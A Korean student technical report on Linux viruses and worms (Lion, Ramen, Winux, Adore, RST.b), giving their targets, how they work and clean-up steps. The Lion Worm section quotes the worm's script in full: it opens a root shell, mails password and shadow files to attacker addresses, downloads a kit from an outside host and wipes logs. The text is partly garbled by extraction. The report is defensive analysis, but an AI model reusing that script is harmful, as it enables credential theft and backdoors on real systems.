기술문서 09. 11. 04. 작성 Linux Virus 탐지및대응 작성자 : 동명대학교 THINK 동아리서환곤 masinmaster@gmail.com 0. 시작하면서 p.1 1. Linux Virus 개요 p.1 2. Linux Virus 종류및특징 p.4 3. Linux Virus 분석 p.5 4.Linux Virus 대응방안 p.13 5. 마치면서 p.14 6. 참고문헌 p.14
0. 시작하면서 본기술문서는 Linux에서발생하는 Virus에대하여기술한문서로정확한감염증상, Virus의동작원리와그에따른대응방안을서술하였습니다. 오직 Linux OS에서만감염되는 Virus만나열하였음을미리알리며그외다른 OS에서발생하는 Virus에대해서는거론하지않았음을알려드립니다. 이문서는 Linux 를사용하는일반사용자나시스템관리자혹은서버관리자를주대상으로삼았 으며각종 Virus 에감염되는대상시스템은해당 Virus 에따라다르므로따로분류하였으니참고하 기시바랍니다. 1. Linux Virus 개요 가. Linux Virus 는과연존재하는가? 사실상 Linux Virus는그존재여부조차아는사람이별로없을만큼인지도가낮은게현실이다. Linux Virus는 Windows와는다르게 Virus의개체수가적으며감염되더라도그리위협적이지않은 Virus가상당수이다. 이유는 Linux를사용하는사용자의수가 Windows에비해많지않다는점도한몫하지만그이전에 Linux OS 자체가 Virus에강력하다는점이다. 이는 Linux OS 타 OS 와의다른하나의장점이기도하다. 특히과거에는 Linux를사용하는사용자가워낙적은탓에 Linux용 Virus를제작하는사람도거의없다고볼수있었고 Virus를제작하더라도그리큰효과가나타나지않기때문에 Virus의빈도수는현저히낮았다. < 그림 1-1> 2003 년모든 OS 별 Virus 감염통계 하지만현재는 Fedora나 Ubuntu 등의 Linux 배포판이증가하고사용자도늘어나고있는추세라 Linux용 Malware나 Virus등도곳곳에분포되고있는추세라더이상은 Linux Virus를간과하기만할수도없는추세이다. 더불어최근 Linux와 Windows 양쪽 OS 모두에작용하는복합적인 Virus도발견되어 Linux도더이상 Virus에서안전하지만은결론에도달했다. 어떤 OS든 Virus가없는 OS는없고, Linux OS도그에대해완전히안전할수는없는노릇이다. - 2 -
나. 왜 Linux 는 Virus 로부터안전했나? 앞서 Linux OS 는 Virus 부터특히강력하다는거론을했는데그이유에대해간략하게나마서술 하고자한다. 이분류는앞으로 Linux OS 에서 Virus 에대한심각성을부각하고자해서만든것임 을미리알리는바이다. Linux OS 가 Virus 로부터안전했던이유는많은이유가있는데구체적으로 3 가지를나열하면다 음과같다. 1) Linux OS의강력한계정관리기능 Linux OS는 Virus가존재함에도불구하고전파가잘되지않는다는점이있는데이유는바로 Linux OS는계정관리시스템이있기때문이다. Windows가특히 Virus에취약한이유는사용자들이주로관리자계정즉, Administrator계정으로흔히사용하므로 Virus의전파가원활하게이루어지기때문이다. 특히관리자계정이 Virus에감염된다면하위권한의모든계정들도 Virus에감염이되므로결론적으로관리자한사람만이아닌모든사용자들이감염이되는셈이다. 하지만 Linux OS의경우는계정관리시스템이철저하기때문에파일에대한접근권한이나쓰기, 및실행권한등의상세한설정이가능해설령하나의계정이 Virus에감염이된다하더라도해당계정하나만피해를보기때문에전파가어려운것이현실이다. Linux OS의관리자계정즉, root는필요할때만 Console로접속하여작업을하는것이보통이라거의사용되는일이전무하다. Virus가시스템전부에영향을미치기위해서는 setuid로 root의계정을취득하여 Compile해야만가능한데이를실행하기위해서 Virus 하나만으로는거의불가능하기때문이다. 2) Active X 악성코드에면역인터넷악성코드중가장많은비중을차지했던 Active X 컨트롤형악성코드는 Linux OS에서는아예통하지않는다. 이유는 Active X는오직 Microsoft 사의기술이며이기술은오직 Windows 에서만통하므로 Linux OS는이부분에있어서는완전한면역을보였다. 때문에감염경로면에서많은비중을차지했던 인터넷 부분에서도 Linux OS는 Virus로부터안전했던것이다. 3) Linux OS 낮은사용률과빠른보안 Patch 근본적이고도당연한이유이지만 Linux OS는 Windows에비해사용률이낮다. 즉, Linux OS는 Windows비해사용자가적다는사실이다. 때문에 Virus를전염시키더라도워낙적어서별효과를보기가힘들다. 또한 Virus가발견되거나신고가들어올시제작사혹은배포사에서즉각빠른조치를취해 Virus 본연의의미를상실시킨다. 이로인해 Linux OS는 Virus제작보다는 root계정을얻어내는 Hacking이나 Rootkit을제작하는것이보편적이며이를제작하기위해선 Linux시스템의전반적인지식을갖추어야하므로공격을하는 Hacker들의수도현저히낮은편이다. - 1 -
다. 현재 Linux Virus 의동향앞서거론했듯이 Linux는 Virus로부터완전하지는안지만어느정도의계정관리와파일시스템관리등을통해안전지대를형성할수있었다. 하지만계속해서두터워지는유저층과쏟아져나오는여러배포판에힘입어 Linux의인지도는과거에비해상당히올랐고이를노리는일부 Hacker들은 Virus를제작하여감염시키기시작했다. 2001년초에는일명 라면 Virus 라고불리는 PHP Virus를출두로 Worm이등장하기시작했다. 이 Virus는시스템을파괴하는등의적극적인공격은하지않았지만네트워크대역폭을독차지하여 Server에장애를일으키거나 Virus 제작자가추후출입할수있는 Backdoor를설치하는등악의적인행위를일으키는 Virus이다. 이것은시작에불과한것으로, 이후한단계진화를거친 Ador Worm이나 Windows와 Linux 양쪽 OS 모두에게장애를일으키는 Winux 등이속출하기시작해 Linux 용 Virus가서서히두각을드러내기시작하였다. 즉, Linux용 Virus라는 Linux 전용 Virus가등한셈이다. 이 Linux Virus 는단순한 Virus 가아닌 Computer Virus 와 Hacking 기술이결합되어더욱진보된 Virus 를의미한다. - 2 -
2. Linux Virus 종류및특징 가. Linux Virus 유형 Linux Virus 는크게 3 가지유형으로나누어볼수있다. 1) Linux/stago, Bliss 등과같은 Linux 의실행파일 ELF(Executable and Linking Format) Virus 2) Kernel, Library 에삽입되는 Virus 3) Morris Worm, ADM Worm 등과같은시스템자체버그나설정취약성을이용한 Worm Virus 이외에도특정 Worm이용하여분산서비스거부공격 (Distributed Denial Of Service) 을일으켜 Server에과부하를일으키거나능숙한 Hacker의경우시스템을 Hacking한뒤 Virus형태로시스템주요파일과시스템자체내의 Kernel에보이지않게트로이목마를설치하는등의공격유형이있다. 이러한경우보안관리자라해도해당트로이목마를탐지및제거를하기가매우힘들어지며보안시스템을구축해놓아도곧바로대응하기힘들어진다. 다음은구체적인 Linux Virus 의종류에대해나열하고서술하도록하겠다. 1) Shell Script : 가장간단히제작할수있는형태의 Virus 로 Shell Script 를이용하여크기가 200byte 도안되는 Virus 를만들어낼수도있다. 2) Boot Sector Viruses : Intel 기반의 PC 와 PC Server 시스템의경우에는기본 Boot Sector의구조가같기때문에가장쉽게만들어낼수있는유형의 Virus이다. Linux 뿐아니라 386BSD, SCO Unix 등 Intel 기반의 Server PC 들은감염된 Disk로부팅할경우 Dos Boot Sector Virus에감염될수있다. 3) Worms : 해킹기술을응용하여관리자계정 (root) 을획득해다른시스템에전염시킨다는두드러진특징이나타나는 Virus이다. 특히관리자계정을취득하여공격하는방식은 Windows의 Worm보다도피해성이심각하다고볼수있다. Worm의형태는시스템과설치된응용프로그램의버전들의의해그피해확산이결정되는문제가있었지만최근계속해서새로운취약성이공개되고있으며이러한취약성에대한공격모듈은매우쉬운추가와업데이트가가능해더욱위험성이심각해지고있다. 대표적으로 Morris Worm이나 ADM Internet Worm등이있으며특정 Worm 은분산서비스거부공격 (Distributed Denial Of Service) 등에이용될수있다. 4) ELF Infector : Linux 시스템의실행파일인 ELF(Executable and Linking Format) 파일을실제적 으로감염시키는방식으로임의의악의적인코드나텍스트를삽입할수있기때문에전파가능 성이매우높다고볼수있다. 5) Faked Library : 일반적으로 Linux에서응용프로그램을실행하거나함수를호출할경우그에따른특정 Library를사용하게되는데이러한 Library들은보안상상당히취약한부분이많으며이를 Hacking 하여주요함수 Library를 Virus로바꿔놓아악의적인작업이실행되게하는방식이보편적이다. - 3 -
3. Linux Virus 분석 본격적으로 Linux에서가장빈번하게일어나는 Virus 혹은감염시치명적인위험이권고되는최신 Virus에대해나열하고해당 Virus의특징이나감염증상, 동작과정, 대응방안등을서술하겠다. 가. Lion Worm Lion Worm 은 BIND 의 TSIG 취약점을이용한 Worm으로 Ramen Worm과비슷하지만위험도가더높다. 이 Worm 은 BIND DNS Server 를운영하는 Linux OS에감염되고대규모네트워크를스캔하여공격한후 Rootkit을설치하므로많은시스템이피해를당한후에도공격자에게계속적으로악용될수있다. 특히공격받기쉬운컴퓨터의 Class B IP 네트워크를겨냥하여 Scanning 함으로써피해를확산시킬수있다. 침투에성공한후에는 Virus의존재를숨길수있도록설계된 coollion.51.net에서패키지를설치하여공격자가임의로새로운파일을변경혹은형성하여새로운디렉터리를만들어이러한작업을계속실행한다. 이 Worm은재부팅되는동안에도활성상태로남아있어계속위장한다. 1) 대상시스템 bind 8.2 8.2.1 8.2.2 8.2.2-PX 2) 동작원리 1 임의의 IP 대역을선택하여 53번포트를스캔한다. 2 53번포트가열려있는시스템을발견, 취약한버전의 BIND 시스템일경우공격한다. 3 1008번포트혹은 10008번포트를백도어로열어놓은뒤 /etc/password, /etc/shadow 파일을공격자의메일로보내고세부적인사항은특정메일주소로보낸다. 4 lynx -dump을이용하여 kit(crew.tgz) 을다운로드받는다. 5 kit의압축을풀고초기화스크립트를실행한다. 이후 /etc/hosts.deny를삭제하고rc.sysinit 에자동으로스캐닝스크립트를시작하는라인을추가하여스캔을시작하는스크립트를시작하여모든과정반복한다. PATH='/usr/bin:/bin:/usr/local/bin/:/usr/sbin/:/sbin export PATH;export TERM=vt100 rm -rf /dev/.lib mkdir /dev/.lib cd /dev/.lib echo '10008 stream tcp nowait root /bin/sh sh' >>/etc/inetd.conf; killall - HUP inetd;ifconfig -a>li0n cat /etc/passwd >>li0n cat /etc/shadow >>li0n mail huckit@china.com <li0n rm -fr li0n;rm -fr /.bash_history - 4 -
echo >/var/log/messages rm -rf /var/log/maillog echo 'Powered by H.U.C(c0011i0n).-----1i0n Crew' > index.html;echo '#!/bin/sh' > lion echo 'nohup find / -name "index.html" -exec /bin/ 체 index.html {} ;'>>lion echo 'tar -xf 1i0n.tar'>>lion echo './1i0n.sh' >>lion echo >>lion echo >>lion chmod 755 lion; PATH='/usr/bin:/bin:/usr/local/bin/:/usr/sbin/:/sbin' export PATH export TERM=vt100 rm -rf /dev/.lib mkdir /dev/.lib cd /dev/.lib echo '1008 stram tcp nowait root /bin/sh sh' >>/etc/inetd.conf killall - HUP inetd ifconfig asswd >> 1i0n cat /etc/shadow >> 1i0n mail 1i0nip@china.com <1i0n;rm -fr 1i0n rm -fr /.bash_history lynx -dump http://coollion.51.net/crew.tgz >1i0n.tgz tar -zxvf 1i0n.tgz rm -fr 1i0n.tgz cd lib./1i0n.sh exit; 6 이전피해시스템의 27374번포트에접속하여 1i0n.tar파일을받아온다. 7 asp라는서비스를추가해 27374번포트를통해 Worm을다른시스템으로전파시킨다. 결론적으로 Worm 감염된 Server는다른곳으로 Worm을전파시켜주는 Server가된셈이다. 8 index.html 파일을 index.htm 파일로변환하고 /etc/rc.d/rc.sysinit 파일에 /dev/lib/star.sh" 와같은라인이추가된다. 9 흔적을지우고 /dev/.lib/star.sh가실행되면서곧바로다시다른시스템을공격한다. - 5 -
3) 대응방법 1 nmap 을이용하여 1008 번, 10008 번, 27374 번포트의오픈유무를확인한다. nmap -st -p 1008,10008,27374 xxx.xxx.xxx.xxx <- 호스트 IP 2 /dev/.lib 디렉터리가있는지확인한다. 3 /tmp/ramen.tar 파일이있는지확인한다. 4 /etc/rc.d/rc.sysinit 파일에 /dev/.lib/star.sh가있는지확인한다. 5 /etc/inetd.conf 파일에다음과같은라인이있는지확인한다. 1008 stream tcp nowait root /bin/sh sh 10008 stream tcp nowait root /bin/sh sh asp stream tcp nowait root /sbin/asp 6 감염된시스템에서 Lion 파일을탐지하기위해서 Sans에서제공하는 1ionfind를사용한다. 7 Snort를이용하여다음과같은스크립트를작성한다. activate u에 any any -> any 53 (msg:"bink Tsig Overflow Attempt"; content; " 80 00 07 00 00 00 00 00 01 3F 00 01 02 /bin/sh"; tag: host, 300, seconds, src;) 8 chkrootkit 을이용하여 Lion Worm 을탐지한다. 단 chkrootkit 은 0.30 버전이상이어야한다. 9 BIND 버전을 8.3.2 버전이상으로업그레이드한다. - 6 -
나. Rmen Virus 일명 라면 Virus 라고도불리는이 Virus는 Worm 의한종류로전세계적으로유명한보안포럼, 백신업체등에서논의된바가있다. 지난 88년 sendmail의보안취약점을이용한인터넷 Worm과 99년 12월에발생한 Millennium Internet Worm등의피해사례가대표적이다. 역시 Worm 이니만큼빠른전파력을보여주고이로인해피해시스템이기하급수적으로증가할수있는 Worm이다. 이 Virus는시스템내에심각한피해를주지않지만자기복제가가능하고, 보안이허술한특정 Linux 시스템을공격목표로선정하여취약점을찾아자동으로침입하는기능과침입한시스템에보안취약점을패치, 메인페이지인 index.html 파일을공격자가원하는텍스트를삽입하여화면으로바꾸는기능등이있다. 또한멀티태스킹을지원하는네트워크를방해하거나공격도구를설치하는등의다수의능력이존재하지만 Ramen은이런기능들을수행하기위해여러스크립트로구성되어있다. 1) 대상시스템 Redhat 6.0, Redhat 7.2 특히패치되지않은 wu-ftp, nfs 를서비스하는 Redhat 이주대상이다. 2) 동작원리 1 FTP 서비스포트인 21번포트를스캔하고취약점을가진시스템의여부에대해스캐닝한다. 이때 FTP 배너의날짜를이용하여취약점을분석한다. 2 취약점점검과동시에공격스크립트가수행되며목표한시스템에취약점이확인되는즉시작업디렉터리를생성한다. # strings s62, s7, 17, 17, 162, w62, w7 mkdir /usr/src/.poop <-- 디렉터리생성 cp remen.tgz /tmp <-- 감염된시스템으로 ramen.tgz를복사한다. 설치후나중에 ramen 패키지를배포할목적으로 27374포트를통한제한된웹기능을가진서비스를설치한다. # netstat -na tcp 0 0 0.0.0.0:27374 0.0.0.0:* LISTEN 3 원격으로감염시스템의파일을마운트한후시스템전부를검색하여 index.html 파일을공격자가원하는파일로변경한다. 웹서버를손상시킬수있고 html 형식으로작성된문서파일과개인디렉터리를손상시킬수도있다. 4 피해시스템에서특정계정으로 E-mail을전송한다. 5 감염된시스템내에취약점을패치한다. FTP서비스와 rpc.stad를 disable 시킨다. 6 감염시스템을이용하여새로운취약점을가진시스템을스캔한후같은식으로감염시킨다. 3) 대응방안 1 /usr/src/.poop 와 /sbin/asp를제거한다. 2 /etc/xinetd.d/asp를제거한다. 3 /etc/inetd.conf에서 asp, stream, tcp, nowait, root, /sbin/asp를제거한다. - 7 -
4 /etc/rc.d/rc.sysinit에서 /etc/src/poop 제거한다. 5 시스템을재부팅하거나 synscan, start.sh, scan.sh, hackl.sh, hackw.sh 프로세스를제거한다. 6 ftp, rpc.statd. 1pr 업데이트후서비스를재시작한다. 7 Redhat 취약점패치를한다. 다. Winux Windows OS 뿐아니라동시에 Linux OS 도감염시키는최초의 Virus로이 Virus를처음발견한 Central Command란회사에의해 Winux라명의되었다. 딱히시스템을파괴하거나장애를일으키는등의위험성은없으나각각의플랫폼에독립적으로작동하는최초의 Virus라는점에큰의미를두고있다. Win32.Winux. Win32.PEELF.2132 등등의여러이름으로불리며비메모리상주 Virus 이다. 1) 대상시스템 Windows 플랫폼의 PE 파일, Linux 플랫폼의 ELF 파일 2) 동작원리 1 현재폴더에위치한모든파일과그상위폴더의모든파일을열어검색한다. (PE, ELF파일 ) 2 휴면상태로잠적해있다가사용자가감염된프로그램을실행하거나 e-mail로첨부파일을보낼때가동하기시작한다. 3 Windows의 PE파일의.reloc섹션을덮어씌워감염시킨다. 만약.reloc 섹션사이즈가 Virus보다크지않다면파일은감염되지않는다. 이것들은다른파일들은감염시킬때 API function을사용한다. FindFirstFileA FindNextFileA IndClose CreateFileA CreateFileMappingA MapViewOfFile UnmapViewOfFile CloseHandle VirtualAlloc VirtualFree WriteFile SetFilePointer GetCurrentDirectoryA SetCurrentDirectoryA 4 Linux ELF executable 은 entry point 의 instructions 를덮어씌움으로써감염된다. 이렇게되면 본래있던코드는 ELF executable 의맨끝에저장된다. 감염된 ELF 프로그램이실행될때 Virus 코드가작동하여호스트파일을컨트롤하여더번지게한다. - 8 -
5 W32.Winux 는다음과같은텍스트문장을보여준다. [?Win32/Linux.Winux] multi-platform virus by Benny/29A?and?This GNU program is covered by GPL.?" 3) 대응방안 1 시스템내에피해를입히거나하는경우는없으므로감염된파일을삭제하거나 Anti-Virus 프로그램을사용하여제거하면된다. 2 백신프로그램을이용하여치료가가능하다. 라. Adore Worm Adore Worm은원래 'Red Worm' 의이름이변형되어탄생하게된것이다. 이 Worm은 Ramen 이나 Lion웜과비슷하므로주의가요구되는 Virus이다. Adore Worm은임의의호스트들을스캔하여공격하는방식으로역시 Ramen이나 Lion Virus의공격방식과비슷하다. 주로 LPRng나 wu-ftpd, BIND 취약점이있는 Linux 시스템을공격한다. 1) 대상시스템 LPRng, rpc-statd, wu-ftpd, BIND 를운영하는 Linux 시스템. 2) 동작원리 1 ps의 Binary 파일을 Trojan 버전으로교체하고원본은 /usr/bin/adre로옮긴다. 2 red.tar를 /usr/lib/lib에설치한다. 3 adore9000@21cn.com, adore9000@sina.com, adore9001@21cn.com, adore9001@sina.com으로특정정보를메일을보낸다. /etc/ftpusers, ifconfig, ps -aux, /etc/hosts, /etc/shadow 4 icmp를실행하여접속을허가하는 rootshell을설정한다. 5 cron daily의 cronjob을설정하여존재하는모든 log를지우고시스템을재부팅한다. 6 /bin/ps를 /usr/bin/adore, /sbin/klogd를 /usr/lib/klogd.o, /etc/cron.daily/0anacron을 /usr/lib/lib/0anacron-bak 교체한다. 7 rootshell을생성한다. 3) 대응방안 1 Adorefind 를사용하여 Adore Worm 의설치여부를조사한다. 2 취약점이있는 4 가지서비스를패치한다. (LPRng, rpc-statd, wu-ftpd, BIND) - 9 -
마. RST.b Virus RST.b는 Remote Shell Trojan b의약자로단순한 Virus가아닌 backdoor 기능까지겸비하여강력한 Virus로손꼽히고있다. 감염증상은일부명령어가실행되지않거나 Compile이잘되지않고 Zombie Process가상당히많이보이는등의증상이일어난다. 다음은 ls 명령어를실행하였을때나타나는오류이다. [root@www /root]# ls -la ls: unrecognized option '--show-control-chars' Try 'ls --help' for more information 1) 대상시스템 구체적인시스템버전은등장하지않았으나대부분 Mozilla 1.7.6 패치에의해감염 2) 작동원리 1 감염된 Mozilla Linux 서버에서 Packaging한파일을 Mozilla 공식서버로보내면서감염 2 사용자들이 mozilla-1.7.6.ko-kr 패치를하면서 mozilla-installer-bin 이라는파일이클라이언트 에감염된다. 3 이후 ls 명령어나특정명령어가사용이불가능해진다. 4 ps 명령어실행시다음과같은 defunct (zombie process) 가확인된다. root 4415 0.0 0.0 1136 68 pts/1 T 13:28 0:00 ls -FX --show-control-chars --color=auto -al root 4416 0.0 0.0 0 0 pts/1 Z 13:28 0:00 [ls <defunct>] root 4998 0.0 0.0 1100 64 pts/1 T 13:32 0:00 rm -f MCerror root 5000 0.0 0.0 0 0 pts/1 Z 13:32 0:00 [rm <defunct>] root 5139 0.0 0.0 1100 64 pts/1 T 13:32 0:00 rm -f MCerror root 5141 0.0 0.0 0 0 pts/1 Z 13:32 0:00 [rm <defunct>] root 5192 0.0 0.0 1100 64 pts/1 T 13:32 0:00 rm -f MCerror root 5194 0.0 0.0 0 0 pts/1 Z 13:32 0:00 [rm <defunct>] root 7453 0.0 0.0 1104 12 pts/1 T 13:34 0:00 touch /usr/src/libux/include/linux/netifier.h root 7455 0.0 0.0 1104 12 pts/1 T 13:34 0:00 touch /usr/src/libux/include/linux/reboot.h root 7455 0.0 0.0 0 0 pts/1 Z 13:34 0:00 [touch <defunct>] root 7460 0.0 0.0 0 0 pts/1 Z 13:34 0:00 [touch <defunct>] root 7959 0.0 0.0 1104 40 pts/1 T 13:35 0:00 touch /usr/src/libux/include/linux/seralp.h root 7981 0.0 0.0 0 0 pts/1 Z 13:35 0:00 [touch <defunct>] root 9591 0.0 0.0 0 0 pts/1 Z 13:37 0:00 [touch <defunct>] root 10289 0.0 0.4 2488 1244? S 13:38 0:00 /usr/sbin/sshd2 root 11858 0.0 0.0 1136 68 pts/1 T 14:03 0:00 ls -FX --show-control-chars --color=auto -lat root 11859 0.0 0.0 0 0 pts/1 Z 14:03 0:00 [ls<defunct>] root 15573 0.0 0.1 1104 280 pts/1 T 14:08 0:00 touch /usr/src/linux/include/linux/rwsem.h - 10 -
root 15578 0.0 0.0 0 0 pts/1 Z 14:08 0:00 [touch <defunct>] 5 /bin, /sbin, /usr/bin/, /usr/sbin/ 디렉터리내에있는실행파일의변경날짜를최근으로계속 바꾼다. 6 /dev/hdx1, /dev/hdx2 파일을생성하고 eth0 을 promisc mode 로변경한다. 3) 대응방안 1 rstb.tgz라는 rstb전용스캐너를다운받아압축을푼다. 2 rstb_detector를실행하여 rst.b 감염여부를확인한다. 3 아래명령어를샐행하여 rsb_cleaner 파일이감염되지않도록설정한다. [root@www rstb]# chattr +i rstb_detector rstb_cleaner 4 /bin/* 디렉터리에있는파일중감염된파일을찾아감염된파일은그대로두고, 감염되기이전의원본파일을파일명.clean 변경한다. ( 이작업은 rstb_detector를실행하면자동으로이루어진다.) 5 이어서 /sbin, /usr/bin, /usr/sbin 폴더에도위와같은작업을한다. 6 제일먼저깨끗한 ls와 mv 원본파일에도변경불가속성을부여한다. [root@www rstb]# chattr +i /bin/ls.clean /bin/mv.clean 7 ls.clean -al /bin/*.clean을실행하면감염되기이전의파일들이보이게된다. 이원본파일들로모두교체하여야한다. 8 감염된 mv대신 mv.clean 명령어를이용하여.clean 파일로덮어쓰고읽기전용속성을부여한다. [root@www rstb]# mv.clean /bin/chgrp.clean /bin/chgrp [root@www rstb]# chattr +i /bin/chgrp 9 mv.clean 과 ls.clean 파일의 I 속성을해제하고파일들의이름을원래대로변경한다. [root@www rstb]# chattr -i /bin/mv.clean /bin/ls.clean [root@www rstb]# cp -f /bin/mv.clean /bin/mv [root@www rstb]# cp -f /bin/ls.clean /bin/ls [root@www rstb]# rm -f /bin/ls.clean /bin/mv.clean 10 마지막으로 ps 에 defunct 되어있는 zombie process 를모두 kill 한다. - 11 -
4. Linux Virus 대응방안 끝으로 Linux Virus 에감염되기이전의대응방안및사용자들이가져야할태도등에대하여설명하고자한다. Linux Virus 는현재까지는아직심각한수준의피해는나오지않았지만앞서말했듯이점점이목을끌고있는 OS 로서 Virus 에대해미리알고예방하는것이좋을것이다. 가. 정기적인백업과시스템관리개인 PC 사용자라면비상시에급습하는 Virus 에대하여정기적인백업을할것을추천한다. 사용자입장에서 Virus 의가장무서운점이라면 방해 가아닌 파괴 이다. 때문에 Virus 에감염되었을최악의상황이라면바로중요한파일손상되거나혹은시스템전체가사용불능의상태가되었을때를말한다. 이때를대비하여중요한자료나문서등은미리백업을해놓는것이가장좋은방법이다. 시스템관리자의경우당연히필수적인사항이며보안관리정책을미리마련하거나 Virus 가네트워크로퍼질가능성에대비하여공유폴더이용시주의하여야한다. 나. 백신의활용 Virus 의확산을막기위한가장좋은방법은 Virus 의백신을활용하여야한다. 백신은 Virus 제거만하는것이아니라주기적으로시스템점검시에도매우유용한프로그램이다. 백신프로그램은 Virus 의유형만이아니라트로이목마, Worm, 해킹프로그램까지검색하여제거하는엔진을제공하여시스템보안상의면에서도우수한성능을자랑한다. 물론어떤프로그램과백신엔진을사용할지는사용자들이선택해야할몫이다. 다. 정기적인업데이트 Virus 는발전형태의악성프로그램으로이는즉, 치료가되거나해당시스템에통하지않더라도얼마든지우회하여다른버전의 Virus 프로그램을만들어낼가능성이있다는것이다. 이에발맞춰사용자들도정기적으로시스템업데이트나보안패치를해야할필요성이있다. 이것을주기적으로하지않을경우치료했던 Virus 에또감염될우려가있으며신종 Virus 에도감염될확률이높아져결국가장안전한예방법은시스템업데이트를하는방법이최선의방법일것이다. 패치는언제나신속하게이루어져야하며이를위해선사용자가보안에어느정도이상의관심을가져야할것이다. 라. 감염위험의최소화 Virus 피해감염을최소화시키는것으로기술적인면보단사용자들의 습관 에비롯된대응방안이라볼수있다. 예를들면특정파일을다운로드받을때미리 Virus 를체크하거나평소워드도큐먼트는 RTF 파일로, 엑셀스프레드시트는 CSV 파일로저장하는방법등이있다. 이러한포맷은매크로를지원하지않기때문에도큐먼트 Virus 를퍼뜨릴위험성을감소시키는효과가있다. 인터넷브라우저는 Java 나또는쿠키등과같은코드를실행시키지않도록안전하게설정하고구성하여야한다. 백업역시감염위험의최소화에일축된다. 마. 시스템에대한전반적지식 Virus 를단순히보안도구나백신으로완전히치료하는것은근본적인한계가있다. 이것은비단 Linux 뿐만아니라어떤 OS 를사용하더라도그에대한필수적인전반적지식이갖춰진다면완벽히 Virus 를치료할수있다. 특히 Linux 의경우는 Virus 를치료할때필요로하는실행명령어가많은편이므로항상숙지하는것이좋다. - 12 -
5. 마치면서 현재까지의 Linux Virus 는아직초기단계로파괴력이없는연구를목적으로제작된바이러스가대부분이며이에대해서는계속적인연구가이어질것으로판단된다. Linux Virus 는사용자를약간귀찮게하는정도의효과일뿐, 더나아가시스템을완전히사용불능으로만들어버리거나파괴하는등의행위는현재까지거의없는것으로보인다. 하지만 Virus 제작자들이 Linux 에깊은관심을가지고 Virus 를제작해온다면앞으로어떤유형의새로운 Virus 가나올지는누구도예측할수없다. Linux OS 는계속해서발전중에있으며사용자층도현저히늘고있음과동시에 Virus 에대한위험요소도더이상은배제할수없게되었다. Linux 를사용하는사용자들의보안인식이좀더개선되어신종 Virus 가나오더라도즉시적절한대응을할수있길바라며본문서를마친다. 6. 참고문헌 - 도서리눅스서버보안관리실무 ( 홍석범, 2006.8, ( 주 ) 슈퍼유저코리아 ) - 참고사이트 http://kldp.org - 13 -